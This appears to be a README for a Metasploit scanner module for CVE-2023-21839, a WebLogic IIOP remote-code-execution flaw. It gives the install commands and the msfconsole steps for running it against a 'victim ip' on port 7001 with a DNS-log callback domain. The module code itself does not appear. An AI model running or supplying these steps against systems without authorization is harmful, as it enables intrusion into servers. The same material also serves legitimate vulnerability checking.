CVE-2023-21839 PoC — Oracle WebLogic Server 安全漏洞

介绍

# CVE-2023-21839-metasploit-scanner
## Usage
`git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner`  
`cd CVE-2023-21839-metasploit-scanner`  
`mkdir -p ~/.msf4/modules/auxiliary/scanner/http`  
`cp weblogic_iiop_rce.py ~/.msf4/modules/auxiliary/scanner/http`  
`chmod +x ~/.msf4/modules/auxiliary/scanner/http/weblogic_iiop_rce.py`  
`msfconsole`  
## POC usage
`use auxiliary/scanner/http/weblogic_iiop_rce`  
`set rhost <victim ip>`  
`set rport 7001`  
`set verify_dns_log <your specific dnslog domain>`  
`run`  
## result
![result 1](result1.png)
![result 2](result2.png)
## reference
* https://github.com/4ra1n/CVE-2023-21839  
* https://github.com/houqe/POC_CVE-2023-21839  

文件快照

备注